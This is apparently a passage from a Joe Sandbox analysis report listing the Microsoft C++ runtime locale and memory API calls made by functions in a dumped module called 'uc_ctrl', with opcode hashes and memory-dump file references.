                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6CEEE614
                                                                                              • new.LIBCMT ref: 6CEEE629
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE65A
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE668
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE679
                                                                                              • new.LIBCMT ref: 6CEEE68E
                                                                                              • _Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6AD
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6C1
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6CF
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6E0
                                                                                              • new.LIBCMT ref: 6CEEE6F5
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE70E
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE72D
                                                                                              • new.LIBCMT ref: 6CEEE746
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE75F
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEE77E
                                                                                              • new.LIBCMT ref: 6CEEE797
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEEE7B0
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6CEEE7CF
                                                                                              • new.LIBCMT ref: 6CEEE7E8
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?), ref: 6CEEE9C3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Concurrency::cancel_current_taskLocinfo@1@$ExceptionThrowU?$char_traits@_W@std@@@std@@@std@@$??0?$codecvt@_??0?$ctype@_??0?$time_get@_GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@V?$istreambuf_iterator@_V?$ostreambuf_iterator@_W@std@@_callnewh_realloc_basecallocctypelocaleconvmallocmemcpystd::bad_exception::bad_exception
                                                                                              • String ID: &$+$false
                                                                                              • API String ID: 918722702-3602265664
                                                                                              • Opcode ID: 447be48ffd296db7b237978726c280e91e76f8d2b9f06d88128243e7dc2f166f
                                                                                              • Instruction ID: 9e2ec5ac81cc78b009d4baefd22648eb98dd41656f1f00b3e9787fa6ce3225bc
                                                                                              • Opcode Fuzzy Hash: 447be48ffd296db7b237978726c280e91e76f8d2b9f06d88128243e7dc2f166f
                                                                                              • Instruction Fuzzy Hash: 36D14871E00715ABDB109BA888116EFBAF99F893A8F30441DE855A7B81DF348D0887E5
                                                                                              Function 6CEEE9E0 Relevance: 103.7, APIs: 58, Strings: 1, Instructions: 413COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEE9E7
                                                                                              • ??0?$ctype@G@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEA23
                                                                                                • Part of subcall function 6CEE3D20: __EH_prolog3.LIBCMT ref: 6CEE3D27
                                                                                                • Part of subcall function 6CEE3D20: ctype.LIBCPMT(?,00000004,6CEE3DB1,00000000,00000000,0000003C,6CEED9BC,?,?,00000000,?,?,?,00000004), ref: 6CEE3D44
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEBFC
                                                                                                • Part of subcall function 6CEF9E53: __EH_prolog3.LIBCMT ref: 6CEF9E5A
                                                                                                • Part of subcall function 6CEF9E53: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEC0A,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9E65
                                                                                                • Part of subcall function 6CEF9E53: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9E7D
                                                                                                • Part of subcall function 6CEF9E53: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9EDF
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEC4D
                                                                                                • Part of subcall function 6CEF9EEC: __EH_prolog3.LIBCMT ref: 6CEF9EF3
                                                                                                • Part of subcall function 6CEF9EEC: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEC5B,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9EFE
                                                                                                • Part of subcall function 6CEF9EEC: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9F16
                                                                                                • Part of subcall function 6CEF9EEC: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9F78
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEC9E
                                                                                                • Part of subcall function 6CEF9F85: __EH_prolog3.LIBCMT ref: 6CEF9F8C
                                                                                                • Part of subcall function 6CEF9F85: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEECAC,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9F97
                                                                                                • Part of subcall function 6CEF9F85: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9FAF
                                                                                                • Part of subcall function 6CEF9F85: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEFA011
                                                                                                • Part of subcall function 6CEF8197: __EH_prolog3_catch.LIBCMT ref: 6CEF819E
                                                                                                • Part of subcall function 6CEF8197: _Getcvt.MSVCP140(?,00000034,6CEEFD27), ref: 6CEF81AC
                                                                                                • Part of subcall function 6CEF8197: localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEEFD27), ref: 6CEF81BB
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6CEEED04
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6CEEED73
                                                                                              • new.LIBCMT ref: 6CEEED38
                                                                                                • Part of subcall function 6CF0A364: _callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A36C
                                                                                                • Part of subcall function 6CF0A364: Concurrency::cancel_current_task.LIBCPMT ref: 6CF0A37C
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEEED81
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6CEEED92
                                                                                              • new.LIBCMT ref: 6CEEEDAB
                                                                                              • ??0?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEDC1
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEDD1
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEDDF
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEDF0
                                                                                              • new.LIBCMT ref: 6CEEEE05
                                                                                              • ?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6CEEEE21
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C), ref: 6CEEEE2B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEE39
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEE4A
                                                                                              • new.LIBCMT ref: 6CEEEE5E
                                                                                              • ??0?$codecvt@GDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEE74
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEE84
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEE92
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6CEEED23
                                                                                                • Part of subcall function 6CEE81D0: __EH_prolog3.LIBCMT ref: 6CEE81D7
                                                                                                • Part of subcall function 6CEE81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEFAB8A,00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?), ref: 6CEE81E0
                                                                                                • Part of subcall function 6CEE81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6CEE8209
                                                                                                • Part of subcall function 6CEE81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6CEE8215
                                                                                                • Part of subcall function 6CEE81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6CEE8288
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEEEA33
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • new.LIBCMT ref: 6CEEEA0F
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEA41
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEA52
                                                                                              • new.LIBCMT ref: 6CEEEA6B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEA84
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEA92
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEAA3
                                                                                              • new.LIBCMT ref: 6CEEEABC
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEAD5
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEAE3
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEAF4
                                                                                              • new.LIBCMT ref: 6CEEEB09
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6CEEEB3A
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEEEB48
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6CEEEB59
                                                                                              • new.LIBCMT ref: 6CEEEB6E
                                                                                              • _Getcoll.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEB8D
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEBA1
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEBAF
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEBC0
                                                                                              • new.LIBCMT ref: 6CEEEBD5
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEBEE
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEC0D
                                                                                              • new.LIBCMT ref: 6CEEEC26
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEC3F
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEC5E
                                                                                              • new.LIBCMT ref: 6CEEEC77
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148), ref: 6CEEEC90
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEECAF
                                                                                              • new.LIBCMT ref: 6CEEECC8
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?), ref: 6CEEEEA3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??1_Lockit@std@@_lock_locales$Locinfo@1@$Concurrency::cancel_current_task$??0?$codecvt@??0?$ctype@??0?$time_get@G@std@@G@std@@@std@@@std@@GetcollGetcvtH_prolog3_catchInit@?$time_put@_Locinfo@2@@Mbstatet@@@std@@U?$char_traits@U?$char_traits@_V?$istreambuf_iterator@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_callnewh_realloc_basectypelocaleconvmalloc
                                                                                              • String ID: +
                                                                                              • API String ID: 3751347316-2126386893
                                                                                              • Opcode ID: a05816bb30aea1b1f6436aa150b19a219501086137341abb7b39d1769ca897ed
                                                                                              • Instruction ID: 2261d3c3797ae867a17787e589614818d6588506c778e2415e47aa3bec820632
                                                                                              • Opcode Fuzzy Hash: a05816bb30aea1b1f6436aa150b19a219501086137341abb7b39d1769ca897ed
                                                                                              • Instruction Fuzzy Hash: 00D12971D00754ABDB149BB888116EF7AF99F8E398F30451DE859ABB81CF748D0887E1
                                                                                              Function 6CEFA880 Relevance: 54.3, APIs: 36, Instructions: 261COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFA887
                                                                                              • _Getcoll.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA8C8
                                                                                                • Part of subcall function 6CEDED50: ___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDED51
                                                                                                • Part of subcall function 6CEDED50: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEDED59
                                                                                                • Part of subcall function 6CEDED50: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEDED67
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEFAABC
                                                                                                • Part of subcall function 6CEFD781: __EH_prolog3.LIBCMT ref: 6CEFD788
                                                                                                • Part of subcall function 6CEFD781: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEFAACA), ref: 6CEFD793
                                                                                                • Part of subcall function 6CEFD781: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEFD7AB
                                                                                                • Part of subcall function 6CEFD781: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEFD80D
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFAB1A
                                                                                                • Part of subcall function 6CEFD81A: __EH_prolog3.LIBCMT ref: 6CEFD821
                                                                                                • Part of subcall function 6CEFD81A: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEFAB28,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFD82C
                                                                                                • Part of subcall function 6CEFD81A: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEFD844
                                                                                                • Part of subcall function 6CEFD81A: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEFD8A8
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFAB66
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA8DC
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • new.LIBCMT ref: 6CEFA8A9
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA8EA
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFA8FB
                                                                                              • new.LIBCMT ref: 6CEFA910
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA929
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA937
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFA948
                                                                                              • new.LIBCMT ref: 6CEFA961
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA97A
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA988
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFA999
                                                                                              • new.LIBCMT ref: 6CEFA9B2
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA9CB
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?), ref: 6CEFA9D9
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFA9EA
                                                                                              • new.LIBCMT ref: 6CEFAA03
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6CEFAA3F
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEFAA4D
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6CEFAA5E
                                                                                              • new.LIBCMT ref: 6CEFAA73
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6CEFAAAE
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6CEFAACD
                                                                                              • new.LIBCMT ref: 6CEFAAE6
                                                                                              • ??0?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFAAFC
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFAB0C
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFAB2B
                                                                                              • new.LIBCMT ref: 6CEFAB40
                                                                                              • ?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFAB5C
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C), ref: 6CEFAB85
                                                                                                • Part of subcall function 6CEE81D0: __EH_prolog3.LIBCMT ref: 6CEE81D7
                                                                                                • Part of subcall function 6CEE81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEFAB8A,00000000,00000000,00000000,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?), ref: 6CEE81E0
                                                                                                • Part of subcall function 6CEE81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6CEE8209
